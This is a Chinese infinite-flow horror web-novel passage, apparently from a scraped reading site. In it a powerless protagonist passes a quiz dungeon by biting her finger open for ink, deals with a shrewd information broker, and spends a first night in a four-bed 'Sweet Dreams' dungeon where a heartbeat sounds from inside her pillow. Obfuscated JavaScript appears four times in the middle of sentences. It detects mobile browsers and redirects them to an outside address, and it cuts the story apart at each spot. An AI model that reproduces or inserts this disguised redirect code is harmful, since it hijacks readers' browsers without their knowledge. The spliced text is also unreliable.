应凌心犹豫了一下,把左手小拇指往嘴里送——她想用牙咬破指尖。 她用虎牙去咬尾指的指面,逐渐强烈的钝痛让她皱着眉头。她狠心一咬,虎牙却硬生生把指面挤了出去,两颗尖牙狠狠地撞在了一起。 下颌连带着太阳穴被震得隐隐作痛。 应凌心看了眼电子表,答题时间只剩11分钟。 她的虎牙太钝了。 应凌心以前其实有很尖利的虎牙,她甚至有6颗,比常人多了两颗。 后来她上初中时觉得自己牙太过参差不齐,吵着让妈妈带她去矫正牙齿。 牙齿正畸需要先拔掉4颗牙,她最尖的几颗牙就这样被拔掉了。 回家后她的家人故作痛心疾首地说她原始的狼性被拔掉了。 应凌心当时笑着骂她神经病,现在想想,也不是毫无道理。 到底是谁这么抽象来着?是妈妈吗? 应凌心甩了甩脑袋,现在不是回忆过去的时候。 倒计时在一秒一秒地向下减去。 应凌心开始思考,人毕竟是杂食动物,咬合力不应该太差。 她不应该把她的手指当成是手指。 这是一块难嚼的肉,或者说,这是一块难啃的骨头。 人怎么去嚼碎脆骨? 应凌心把小指伸进嘴里,指面贴着自己上下两排臼齿。 上下两颗前臼齿的尖利处卡在她的指尖两侧,能够感受到指尖血管细微的跳动。 剩余时间:8分钟。 应凌心试探性地向下咬了咬,感觉确实比刚才要疼一些。 她开始调整角度,避免再像上一次滑出去。 应凌心握了握右手,掌心的汗让她感觉握不太住。她伸出右手蹭了蹭裤子,把布料攥在手里。 她闭上眼睛,左手其余四指紧紧地抵着下巴,不顾一切地咬了下去。 一股浓烈的铁锈味在一瞬间占据口腔,牙齿在松开时让伤口又疼了一次。 应凌心的小指被咬出了一个豁口,血液汩汩流出。 她舒了一口气,开始作答。 伤口划过纸张,她从来没觉得一张白纸可以这么粗糙过。 虽然只是一个对钩,应凌心用右手扶着左手,才得以让血液被抹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17099145|195685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在正确的位置。 当她做完这一切,还剩4分钟。 系统询问她是否交卷,应凌心舒了口气,选择了提交。 系统停顿了一下:【恭喜,回答正确。】 试卷被刷新成第五题的卷子,和它一同被刷新的还有一支笔。 应凌心赶忙把笔握在手里,生怕它又一次凭空消失。 她看了眼表,翻开了试卷。 【第五题:下面哪个故事或问题讲述了“人对命运的逃避或抗争将恰恰促成命运本身”的道理?】 【A:普罗米修斯盗取火种】[3] 【B:西西弗斯遭受神罚】[4] 【C:德黑兰的死神】[5] 【D:忒休斯之船】[6] 应凌心选择了 C ,又重新读了两遍。 【是否提交答案?】 “是。” 上一题告诉了她一个道理:迟则生变。 【计时停止...恭喜,回答正确。】 【恭喜玩家作答完成,副本结算中...】 应凌心抬起头等待结算结束,愣了一下:眼前电子表的倒计时只剩五分钟了——她很确定自己刚才答题花的时间不到三分钟。 当她被传送回副本大厅的时候,后背已经冒出了冷汗。 尾指的伤口还没完全愈合,血液沿着指尖滴在大厅的地面上。 应凌心只觉得脊背发凉,后怕占据了整个大脑。 最后一题时间流速变了——差点又被坑了。 真是一步一个坑,应凌心感觉到副本满满的恶意,心里有点发怵:如果这都算简单的副本,情节副本得吓人到什么程度? 算了,这是两周后的自己要考虑的事。 她低下头,查看自己的手环。 【恭喜玩家通过问答副本,获得积分:1000】 ...... 已知她现在有1100分,一天要扣100分。 收回前言,十天后就又得下副本了。 应凌心感觉头皮有点发麻,自己差点缺胳膊少腿通关了副本,居然只够活10天,还是在新手包伙食包住宿的前提下。 她看了眼好友列表,商予盈还在副本里,之前加的大姐姐陈烟也下副本去了。 应凌心挪到问答副本出入口的侧边,席地而坐,开始放空大脑。 . 紧绷的弦松懈了一点,之前被压下的疑问又冒了出来。 她答题的时候就觉得,题目的选择非常奇怪。 除了第三题过于不讲武德之外,其余的题对应凌心来说并不难,甚至可以说很简单。 但她并不认为对别人来说也会是这样。 只是她恰好知道答案而已。 就拿进副本之前的热心肠姐姐来说,她真的会觉得莫名其妙的法语选择题简单吗? 每个人需要回答的问题应该都不一样,应凌心猜测,应该是副本针对每个人出的题。 可能这就是为什么楚老板对问答副本那么自信,尽管过程还是很惊险就是了。 但究竟是每次都这样,还是只有第一次这样? 应凌心觉得问答副本相当于把自己的命交给副本去决定,它想让你活,就出你会的题;想让你死,有无数你不会的题等着你来回答。 这就有点恐怖了啊。 未解之谜第三题可能是副本的一次警告。 应凌心长舒了一口气,决定将来不到万不得已决不再踏入问答副本一步。 把命交给别人的次数多了,可就再也收不回来了。 5. 进入情节副本前 应凌心在问答副本的出入口旁等商予盈,等了一阵也没见她出来,忍不住开始胡思乱想。 虽然猜测到每个人的问题都会不同,而且大概率不会有超过一个答不上来的题,应凌心还是忍不住担心起来。 万一猜错了,万一商予盈碰到了一大堆数学题——先不说她是学文的,高中时她也有一堆不会的数学题啊。 应凌心回想了一下高中时商予盈的数学成绩,拍了拍自己的脸。 不能乱想,要是墨菲定律真起作用了她跟谁哭去啊?[1] 应凌心试图靠东张西望转移注意力,正好和一位从斗兽场副本出来的人对上眼神。 通常你会认为,愿意在最开始就以命搏命,靠杀死别人而活下去的人会是盛气凌人或易爆易怒的,再不济也是个浑身透露着疯狂的反社会人格。 而不是像面前的女人一样儒雅沉静。 女人留着刚过耳的短发,笔直的腰杆支撑起一尘不染的白衬衫,看不出什么褶皱,每个扣子都被一丝不苟地系上。 她的呼吸平稳、表情平静,完全看不出刚刚经历了一场厮杀。 包括她的衣服,没有沾染一丝血迹。 如果不是她右手沾满了鲜血,应凌心都要怀疑她只是在副本入口参观了一圈。 女人和应凌心对上视线,没有太大的反应,只是礼貌地点了点头,然后从口袋里掏出一包纸巾,自顾自地站在出口擦起了手。 看来血不是她的,或者她没有痛觉。 应凌心看着对方满手的血,感觉自己的小指又开始隐隐作痛。 紧接着,她看到对方朝自己走了过来。 一个生活小妙招:在危险的地方不要轻易坐下,否则会来不及重新站起来。 应凌心手忙脚乱地站起来,正好和女人面对面。 “要纸吗?”女人的声音和她的神情一样平静。 “谢谢,不用了;我怕伤口一碰又裂开。” 她怕纸上有毒又重开。 女人点了点头:“你朋友出来了,回见。” 应凌心赶忙转头,看到刚从问答副本出来的商予盈,再一扭头,女人已经走远了。 神秘,太神秘了。 . 商予盈的题确实和她不一样,大部分都是历史题,有的要写很长,所以比她晚出来一阵子。 两个人交流了一下在副本中的经历,发现答题凶险程度也完全不同。 或者说,商予盈的副本完全没有凶险这一说。 “我的那个副本是在一个被铁链固定着的高台上,每答错一道题就会松开一条铁链,目测答错四五道题后估计会掉下去。” “但题全都是我会的,半截也没有出什么幺蛾子。” 商予盈听到应凌心中途笔不见了,皱了皱眉:“我半截也放下了笔,还不止一次。中间有两道比较长的简答题,我习惯写到一半重新读一遍,但把笔放下后它没消失。” “最后一题也没减时间,它也是道简答题,我至少写了十几分钟。” 商予盈的副本听起来像是楚老板笃定的初次进副本必过的难度。 “不会是因为系统觉得我没有异能活着浪费资源吧?” 应凌心表示有被伤害到。 如果她有个强大的异能,她大概会把自己这次的经历归结于运气不好。 正所谓机遇与危险并存,多少无限流小说主角是公认的倒霉蛋,她说不定还会中二病发作觉得自己是天选之子。 但她没有。 她没有强大的异能,甚至没有异能。 所以应凌心只能推测这是系统对无能者的针对,然后小心翼翼地思考着自己之后怎么在危机中生存下去。 . ------------------------------------------------------ “你的问答副本很凶险?” 应凌心其实不太想再来找楚老板,但除了她之外也不知道其它靠谱的情报来源了。 “对,您知道为什么这样吗?是因为我没有异能吗?” “有可能,”楚老板回答得很含糊,“所以呢?考虑好要不要跟我赊账了吗?” 应凌心推脱着说她要再想想。 “我劝你尽快觉醒异能哦,”对面的人笑眯眯地把玩着自己的辫子,“异能也需要不断下副本去提高。” “前期没什么异能还可以靠小聪明活下来,后面碰到恶意副本,没有战力会直接被收割。” “毕竟...Boss也有异能啊。” 应凌心下意识蜷了下小指。 她当然知道自己得尽快觉醒异能,但她没有贸然答应楚老板。 眼前这个笑眯眯的女人看着像个典型的商人,如果说她对商人、特别是精明的商人有什么见解,基于她对自己母亲的认知,最重要的一点就是—— 不要在一无所知的情况下和商人做生意。 更不能在走投无路时跟商人作交易。 应凌心觉得自己两点都占了。 她算了算日子,第五天,如果到第五天还想不出办法,她就来找楚老板。 . 之后的几天,应凌心每天第一件事就是看看刷新的情节副本的选项,猜测标题下面实际副本的剧情。 然后去她最初醒来的主街,混在人群中听玩家们的交谈。 晚上回来看商予盈练习异能,顺便交换些情报和心得。 之后独自在窗前盯着白雾发呆,然后反复尝试着去看自己想象中的画面,在一片黑暗中睡去。 大部分她刷到的副本存活率是 80%,可能上下浮动 0.1%,但没太多区别。[2] 这些副本基本都是10人本,也就是说,每次会有两个人死亡。 直到第四天早上,她看到了一个人数为4人的副本,存活率依然是80%。 应凌心猜测,这个副本里,应该是80%的可能死亡一人,20%的可能全员存活。 从某种角度上来说更危险,毕竟在人少的副本里,死亡的更可能是最弱的玩家——也就是没有异能的她。 退出前,她看了眼副本的题目:《做个好梦》。 . ------------------------------------------------------ “你说你要进这个本?”商予盈怀疑自己听错了,重新问了一下,“你确定吗?我们还有几天时间呢。” “我想赌一把。”应凌心没有说自己想赌什么。 “那你要去找楚老板赊账吗?” 应凌心摇了摇头,不说原因,只是沉默地抠着自己的手。 商予盈没多问,翻出了自己系统给出的情节副本选项:“正好我这里也有这个本,我们一起下吧。” “没关系,你不用管我。”应凌心不想拖累她,“这个本人数少,感觉更凶险了。我自己其实也拿不准。” “但你要进这个本?” “对。” “那一起吧,朋友当队友总比没有的强。”商予盈说出了自己的分析,“我最近练习异能,感觉它局限性还是很强的,只能小范围起作用。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17099146|195685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “我怀疑是需要靠下副本提升系统说的精神力。” “咱们上次从问答副本出来后距离下次强制副本的时间变成了15天,看样子提前下副本多出来的时间会被累积。” “上次副本我没什么危险,休整得也差不多了。不知道情节副本是什么样子,但多预留出几天之后的休整时间也挺好的。” 应凌心知道商予盈这么说只是为了让她心安,想要一起下副本更多的是因为担心她。 不过也好,看这个死亡率,大概率不会死超过一个人,死的八成是她自己,商予盈应该不会太危险。 也算明智的决定。 至于她自己...应凌心犹豫地点了点头,想起楚老板的话:“前期没什么异能还可以靠小聪明活下来”。 既然有生路,她决定为了自己的自由赌一把。 . ------------------------------------------------------ “你想好了?确定不在进去前把异能觉醒吗?” 应凌心按照约定又去见了楚老板,告诉了她自己的决定。 “是的,我打算体验一次情节副本再考虑。” 如果命丢里面了就当她没说。 “好吧,我的提议随时有效。”楚老板耸耸肩,看着不是很有所谓。 “您对这个副本有什么了解吗?” “五万,情报不赊账哦。”狡猾的商人笑嘻嘻地说。 ...那跟她说个什么劲儿? 不过,看来是真的有情报。 应凌心忍不住又去打量了几下楚老板——眼前的人可能比自己想象中的还要有权势。 这样的人为什么有空搭理自己这样的新人? 应凌心觉得现在细想没有意义,只是道了个别,回去准备副本——她还有两天时间。 . 楚向庄看着女孩踏出院门,石门被对方小心地关上,但还是发出了一声闷响。 头顶槐树上零散的木牌像是有所感应,被风牵引着左右乱晃,击打在临近的树枝上,发出微弱的响声。 起初杂乱无章,等风泄了气,依着惯性有节奏地摆动着。 “好吵啊。”楚向庄倚在摇椅上,懒洋洋地抱怨。 “奸商。” 富有磁性的声音从屋内响起,伴随着越走越近的脚步声,和木牌的敲击声踏在同一拍。 “你好,不要拿你开了光的嘴骂我。” “我在阐述事实。” 穿着长款风衣的女人走到楚向庄身后,深棕色的卷发看着像是炸了毛的狮子,“听说你开价一百万帮她觉醒异能?” “她这不是没答应吗?再说了,异能可是命啊,命不值一百万吗? 你当所有人都是慈善家啊。” 楚向庄盘着珠子,“她要去E0716副本。” “我听到了。” “十万,记得转啊。” 女人摆摆手,大步流星地往外走去。 走到院门口,回头看了一眼,“我过两周下一趟对抗副本。” 浅绿色的眼睛在阳光下衬得瞳孔更加尖细。 “0人问你。” 楚向庄懒得起身,只是挥挥手示意她赶紧走。 木牌又一次在石门的声响中乱晃。 楚向庄盯着发了会呆,低头看自己手中的串珠。 系统的提示声在耳边响起。 【玩家「许束言」向您转账 10,0000 点积分,当前余额:4532,6601,6587.94 】 6. 做个好梦(一) 应凌心在副本中睁开眼注意到的第一个东西是墙壁上的表,时针指向正下方。 夕阳的余晖透过窗户洒进房间里,昭示着现在是傍晚,傍晚六点整。 看来情节副本的时间确实是独立于外界的——她进入副本的时间是在正午。 应凌心打量了一下面前的房间,本就不大的空间在塞下四张如出一辙的床后显得更加拥挤。 床两张在左,两张在右,两两并排靠着墙,沉默地对峙着。 床头竖着不平整的木板,不规则的纹路沿着轮廓下落,汇聚在中间,向下凹陷。 墙上挂着黑绳编制的捕梦网,中间杂着零星浅金色的细丝,有的连接着柔软的蓝白色羽毛,垂落着搭在床头,随着微风轻轻飘动。 还有的绑着不同颜色的玻璃石,在阳光下晃来晃去。 木质的地板看不出什么损坏,踩在上面没有明显的响声,墙壁白得平整而均匀。 被子被一丝不苟地叠好,放在床尾,床单和枕头看不到一丝褶皱。 这里没有什么生活的痕迹,一眼望去,除了床和一些精致的捕梦网,整个房间再没有其它东西——只有一面在不停走动的表。 看着还挺平淡的,甚至有点惬意。应凌心挑挑眉,她本来以为她会进到沾满血手印的恐怖小屋里。 不对,还是有点古怪的。 应凌心站在门口,动了动耳朵。 有点太安静了。 捕梦网的羽毛在轻轻晃动,但没有任何声音。 没有风声,没有钟表指针的走动声,甚至没有绳子上玻璃石碰撞的声音。 只有她自己的呼吸声,在黏稠的寂静中扩散。 . 打破这一寂静的是一道清亮的女声。 “咦,你们好呀!” 突兀地从身后响起,把应凌心吓了一跳。 她转过身,看到一个扎着高马尾的女孩在笑着跟她打招呼。 女孩穿着浅色的T恤和短裤,左手戴着护腕,朝她挥了挥手:“哈喽,我叫张尚,这是我第三次下副本。” 旁边站着一个沉默的女人,穿着长款官绿色的风衣,衣角和袖口隐隐约约地印着云纹,看着和张尚像是两个季节的人,也不知道来了多久。 还没等应凌心反应,眼前一闪,商予盈出现在了房间内。 下一瞬,本就紧闭的房间门凭空消失,系统的声音在耳边响起:【玩家已就位,副本将在十分钟后开始】 【本次副本时长:3天,副本任务:无】 应凌心眨了眨眼,什么叫【无任务】? “没有任务的意思是躲过副本的死亡机制就可以。” 说话的是穿着风衣的女人,右耳戴着一枚木质的耳环,浅绿色的眼睛像是在狩猎的猫科动物,直直地看向应凌心,“我叫许束言。” 讲话声低沉而富有磁性。 . 几个人互相自我介绍了一下,默契地没有说自己的异能。 应凌心本来还在考虑要不要用假名,在瞄到床尾的木牌后就歇了心思。 每张床的床尾都嵌着一个木牌,在系统宣布副本开始后,木牌上显示了她们的名字。 应凌心想起之前加好友弹出来的也是玩家真名。 什么实名制空间。 这要是来本 XX笔记岂不是直接乱杀? 她走向挂着自己名字的床边,开始仔细打量。 不只是她,其余几人也在观察着房间。 不知过了多长时间,应凌心觉得她快把地上的每一块木板都观察遍了,也没发现什么不对劲的地方。 她转了转酸痛的脖子,仰头的时候愣了一下。 她这才想起来自己没仔细看天花板——这个房间里没有灯。 房间表盘上的时针指向八点,太阳已经落下了,只有一点橙红色的尾巴,给房间带来微弱的亮度。 应凌心觉得自己的心跳开始不受控制地加快,从副本开始到现在,什么事都没发生。 她本能地感觉危险在天黑以后,但直到现在,她都没有找到一丝线索,也没有一点头绪。 . “你是第一次下副本吧?” 应凌心在沉默中盲目地找了半天线索,听到有人忽然开口讲话,被吓了一跳。 她回过头,看到许束言坐在床上,棕色的卷发毛毛躁躁地簇拥着她的头。 女人半倚在床头,把头枕在木板中间的凹陷处,抬手漫不经心地摆弄着捕梦网绑在绳子末尾的玻璃石。 应凌心只觉得心脏骤停——不是,怎么有人在无限流副本里手欠啊?! 许束言斜了一眼在另一侧站立的商予盈,女孩面无表情地看过来,看起来漠不关心。 然而她紧绷的脊背和在暗处握紧的双手,伴随着微弱的精神力波动,昭示着商予盈此刻的戒备。 许束言努力压了压嘴角,这俩小孩,进了副本装不认识,结果问一个另一个也跟炸了毛的猫一样,生怕别人看不出来。 “别误会,我只是觉得你看起来在没什么头绪地紧张。” 女人的嗓音带着一点倦懒,低低地笑了一下,“如果有人第一次下情节副本的话,会多给几个小时的缓冲期,让新人不至于被开门杀——或者让新人懈怠下来,随你怎么想。” “这样的副本也不会有太多的线索,规则会在合适的时间被揭晓。” “当然,什么时候合适是副本说了算,很可能等你触发了它才姗姗来迟地提示你。” “所以我建议你保存点体力。”而不是一直在屋里反反复复地转,她看着都头晕。 应凌心尴尬地笑了笑,感觉自己在老玩家面前乱窜的样子大概很滑稽。 她听话地坐到了自己床上:“是的前辈,这是我第一次下情节副本,太紧张了,生怕错过什么线索。” 愿意提醒她们这些,对方看起来是善意的,应凌心不介意示个弱。 “哇,我说怎么到现在还没触发主线,原来是新人本!” 张尚也坐在床上,开了口,“托你的福,我们多了很多缓冲时间诶!” 友善的高情商小太阳,应凌心在揣测对方的异能会不会是说好话就能加 Buff。 张尚大概也看出来另一个沉默着坐回去的女孩也是新人,开始主动给两人讲起自己下副本的经历。 “我之前参加的那两个副本,第一次触发情节都很危险,但不算致命,只是会让你在后面处在一个很大的劣势。” “比如我第一次副本,就断个胳膊啊之类的。” 应凌心:? 这听着挺致命的啊喂! “后面其实没什么共同点了,感觉副本和副本之间差得还挺大的,没什么明确的规律。” “哦,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17099147|195685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过有一点挺有意思。” “我参加的第二个副本,到最后大家找到出口了,被一大帮子丧尸追着跑。 结果有个狗爹养的为了自己能逃出去用异能把队友腿砍了垫背。” “副本Boss本来在后面慢悠悠地追着——我估计她们也有存活率指标啥的。” “结果她直接一个闪现堵到我们面前。” “我们当时都想着,完了啊,这下直接要团灭了。” “你猜怎么着?”张尚一拍大腿,“她一伸手把那兔崽子拎出来,也不管他怎么大喊大叫,跟扔铅球一样扔丧尸堆里去了。” “然后她又闪现回丧尸群里,吭哧吭哧地指挥丧尸接着追我们。” 应凌心听着感觉有点发愣,这怎么和她想象中的泯灭人性的无限流世界不太一样? 这副本 Boss 也太惩恶扬善了吧? “现在想想也挺逗的,不过我感觉这个 Boss 估计是个例了,我后来问了当时的队友,她们也头一回碰到这么奇特的 Boss。” 张尚友善地笑着,“我就是想让你们别太紧张,路到船头自然直嘛!” 是船到桥头自然直... 应凌心听她这么一说,确实感觉轻松多了——她本来还以为 Boss 是像游戏里那样暴走的怪物,看来至少新人副本不是完全乱杀。 "普通情节副本的 Boss 都是受机制牵制的。" 先前沉默着听故事的许束言忽然开口, “她们看似是副本的拥有者,实际上只是空间的螺丝钉。” 果然到处都是打工牛马——如果这些 Boss 有自主意识的话。 应凌心微微侧过头。 太阳落山后,天黑得很快,女人浅色的眼睛在昏暗的房间中看不真切。 . 果然如许束言所说,之后的一个多小时,依旧没有什么特别的事发生。 直到9点多,天已经完全黑了。 应凌心刻意地睁大眼睛,试图接收到更多的光,但在黑暗中什么也看不清,只能模模糊糊地去感觉房间的布局。 她坐在床上,感觉空荡的黑暗在背后无限地弥漫开来,在寂静中不知酝酿着什么。 应凌心忍不住挺了挺脊背,粘稠的黑暗随着她的动作波动,擦过她的躯干和胳膊,向身后流去。 她听不到什么声音,只有自己的心跳声,微弱地震动着,像一块沉重的石头,哽在她的咽喉处。 耳膜因为压强有点隐隐作痛,好像有微弱的嗡鸣声,再一细听,却什么也没能听到。 应凌心不由自主地靠在了床板上,靠着背部的支撑缓解自己的紧张。 捕梦网的羽毛扫过她的脖子,带来一丝痒意。 “到点了。” 伴随着许束言的话,系统的提示声紧接着响起:【每天晚上10点,请玩家准备入睡。】 应凌心已经没办法通过墙面上的表去确认时间了,她摸着黑,跟其余三人一样在沉默中躺在了床上。 她盖好被子,闭上双眼,数着自己的心跳声。 一阵钟声从右侧的墙上响起——十点了。 她沉默地躺在床上,一动不动。等待着袭来的睡意,或者是...突发的危机。 应凌心感觉自己的心跳在逐渐加快,她本能地感觉,这个副本终于真正地开始了。 7. 做个好梦(二) 应凌心不是个爱早睡的人,10点放在平时,对她来说才刚刚是夜晚的开始。 更何况在这个危险的地方,心得有多大,才能真的睡着? 希望不是最后一个睡着的人被刀,否则她觉得自己会因为睡不着觉而获得永久睡觉的资格。 应凌心想了想,可能会触发什么样的危险情节呢? 也许和捕梦网有关,毕竟它看起来是这个房间最不同寻常的东西。 说不定它会在半夜变成一张大网把人脑袋兜住。 应凌心想象了一下这个场景,仿佛能感觉到自己的脸被黑金色的绳子缠绕着往床板处撞,头顶的颅骨连带着两侧的太阳穴开始幻痛。 她的额头真的有点痒了。 好像是捕梦网的羽毛,摆动着扫过她的额头,轻轻搭在了上面。 应凌心本能地想睁眼,赶忙紧了紧眼皮。 作为无限流小说资深读者,她觉得这时候睁眼多半是要被贴脸杀了。 羽毛轻得感受不到重量,但刚才微弱的痒意让应凌心大部分注意力都集中在了额头。 她能感受到,有东西若即若离地触碰着她,引诱着她抬起手。 我在睡觉。 应凌心在心里对自己陈述。 睡觉的人不应该伸手。 我不能伸手。 更不能睁眼。 不要睁眼。 不~~要~睁~~眼~ 应凌心强迫着自己放松眉眼,企图靠在脑海中唱怪调缓解恐惧。 这下真就难忘今宵了。 . 应凌心静静地躺着,过了不知道多久,依旧没有任何事情发生,也没有什么动静。 也许副本的剧情开始于她们睡着后的梦,就像她最开始看到副本题目时猜测的那样。 那她真的得想办法睡着了。 应凌心悄悄摆动几下脚趾,想要缓解脚趾间黏腻的感觉。 她平时穿袜子都会难受得睡不着觉,哪怕在大冬天,双脚像两个冰块源源不断地吸走热量,她也会硬着头皮脱掉袜子再睡觉。 傍晚的时候许束言建议她们上床睡觉时不要脱鞋,这样万一有什么异动撒腿就能跑。 应凌心觉得如果她是盘桓在副本里的幽灵,看到有人敢穿着鞋躺自己床上,一定会在夜深人静的时候来索命。 但听老玩家的建议总归是没错的。 应凌心轻轻地呼吸着,她刻意放缓呼吸的频率。 她静静地吸气,感受着自己的胸腔向两侧张开,伴随着横膈膜——忘了应该是向上还是向下了,她其实感觉不出来——的起伏。 她慢慢地吐气,把呼气声压到最低,一点一点地向外送。肋骨收缩着沉到了最低点。 她的注意力随着每一次呼出的气向四肢蔓延。 应凌心想象着自己的血液像小溪一样流向四肢,然后在手脚的末端消失,只有一阵阵无形的余波从指尖蔓延,逸散到黑暗中。 她知道血液其实还会流回心脏,但她只是这么想象着,放松自己的四肢。 接着她去放松自己的耳朵,先是向后绷紧耳朵,让耳廓随之打开,然后再控制着它们慢慢放松下来。 应凌心躺在床上,感觉自己落入黑暗的沼泽中。 更准确地说,她不像是在下陷,更像是已经沉到了底部。 寂静的房间像是海底深处,每一滴黑暗都在挤压着她。 即使已经躺在床上,脊背和床微小的间隙仍让她感觉有什么东西盘踞在其中,附在她的脊柱上,像一条阴冷的蛇,悄无声息地缠绕着向上攀爬。 应凌心几次下意识绷紧脊背,伴随着呼吸节奏被打乱,又马上反应过来,强迫自己从头开始放松。 反复几次,她逐渐听不到自己的呼吸声,取而代之的是她的心跳声。 不是通过耳朵听到,而是由于对身体状态的高度注意,她可以感受到自己心脏跳动时牵连着的肌肉。 一下、两下、三下... 随着她第一次注意到自己的心跳声,每一次心脏的跳动伴随着肌肉的震动变得更加清晰。 周围的寂静让她的心跳声成了时间流逝的唯一锚点,应凌心听着自己的心跳声,感觉自己的身体又一次被控制着逐渐放松。 砰、砰、砰... 她枕着柔软的棉花枕头,顺滑的布料贴在她的耳侧,撑着她的头颅。 这个枕头比她家的要高一点,应凌心莫名地想着。 但更软,她的脑袋可以直接陷进去。 还挺舒服的,但这样是不是对颈椎不太好啊? 思维发散着,她小幅度调整了下头的角度,让它能更舒服地枕在枕头上。 砰、砰、砰... 她应该快睡着了。 应凌心感觉自己的身体彻底放松下来,甚至能感受到自己脖颈的血管随着心脏在一跳一跳。 她想象着自己从海底慢慢向上浮去,最后漂浮在海面上,随着海浪不知会漂向何方。 砰、砰、砰... 心跳声在耳边传来。 像是落在水面的石子,传递着一层层的波浪。 应凌心迷迷糊糊地听着。 砰、砰、砰... 先前单调的心跳声混合了低哑的声响,像是沙石摩擦着在敲击,被分成一段一段,传到她的脑中。 仿佛回到了她小时候,母亲在哄她睡觉,手拍打在枕头上时指尖摩擦着枕头的布料,发出低闷的沙沙声。 砰、砰... 但跟那时候又不太一样,声音不是在枕边响起的。 好像也不是在胸口,胸口太远了,听不到这么清晰的声响。 砰、砰、砰... 困意逐渐袭来,应凌心感觉自己的思维和感知越来越慢。 那在哪里呢? 她迟钝地想着,就像每一次入睡一样,她想着一些无关紧要的事去分散着即将入睡的注意力。 砰、砰、砰... 她的心跳声在哪里呢? ...... 捕梦网的羽毛轻轻拂过她的额头,搭在一旁的枕头边缘。 砰、砰... 哦。 她懂了。 砰、砰、砰... 原来是在枕头里啊。 砰、砰、砰、砰、砰、砰... 原来心跳声是从枕头里传来的啊。 ...... 心跳声从枕头传到她脑中,清晰又有力。 仿佛她的心脏就长在了枕头里一样。 砰、砰、砰... 一下、两下、三下... 每一次的跳动,都伴随着沙沙的尾音和她脖颈处血管的微弱跳动。 像是有东西一次次敲击着棉质的面料,在耐心地等待着每一次声响准确地传来。 砰、砰、砰、砰... 慢条斯理地敲击着,规律地保持着相同的频率。 沉闷但清晰,听得清每一串尾音,像是敲在她脑袋上的回响。 应凌心感觉自己随着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17099148|195685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心跳声在一步步迈向梦境的边缘,紧接着下一秒就要踏进去。 砰、砰、砰... 没来由的,她的腿不受控制地蹬了一下。 寂静的房间只有一成不变的心跳声,应凌心昏昏沉沉地想倒头接着睡去,却在一瞬间捕捉到一缕不和谐的声音。 她的心脏被刚才腿的抽搐所刺激,跳动的速度随着微小的身体运动有了轻微的提升。 砰、砰、砰... 耳边依旧是心跳声,从脑后传来,一板一眼地敲击着。 应凌心觉得自己后脑在隐隐跳动,回应着枕头内的动静。 只是始终无法达到同一个频率。 就像她的心脏一样。 砰、砰、砰... 应凌心此时已经睡意全无,心跳随着她的紧张在逐渐加快,印证了她方才的猜想。 她的心脏在快速而强烈地跳动着,震动着整个胸腔,令人无法忽视。 砰砰、砰砰、砰砰... 急切的心跳声尖啸着想要让她警觉,应凌心不敢睁开眼,全身紧绷着留意四周的动静。 砰、砰、砰... 枕头内的“心跳声”依旧在不紧不慢地传来,像是上了发条的钟表,毫无误差地实行着。 应凌心的心跳越来越快,急促得让她有些喘不上气。 黑暗盘踞在她的胸膛间,哽在咽喉处,蒙在口鼻上。 砰砰砰、砰砰砰、砰砰砰... 砰、砰... 砰、砰... 一阵黏稠的寒意袭来,一只无形的手攥住她的脊柱,冰冷地摩挲着后背的骨骼。 砰砰砰砰砰砰砰砰砰砰砰 心脏激烈地打击着。 脑后的声音却没有被掩盖,开始变得越来越清晰,越来越强烈,在她耳边嘶哑地低吼着。 砰、砰... 砰、砰... 砰...砰...砰... 砰——砰—— 敲击声开始逐渐放慢,拖沓地拉起长音,重重地落在耳后。 砰———— 她感觉有东西在枕头里,伴随着每一次敲击,向外鼓起,捶在她的脑后。 砰———— 她耳边的布被拖拽着动了两下,好像有什么东西撕扯着想从里面出来。 砰———— 捕梦网的羽毛晃动着,来回扫过她的额头 应凌心紧绷着身体,等着下一次敲击伴随的异动。 但她没有等来下一次。 当——当—— 钟声突兀地响起,也不知道是几点了。 伴随着钟声尾音的消散,四周重归寂静。 耳边的心跳声就这么消失了,仿佛刚才的一切只是凭空产生的幻觉。 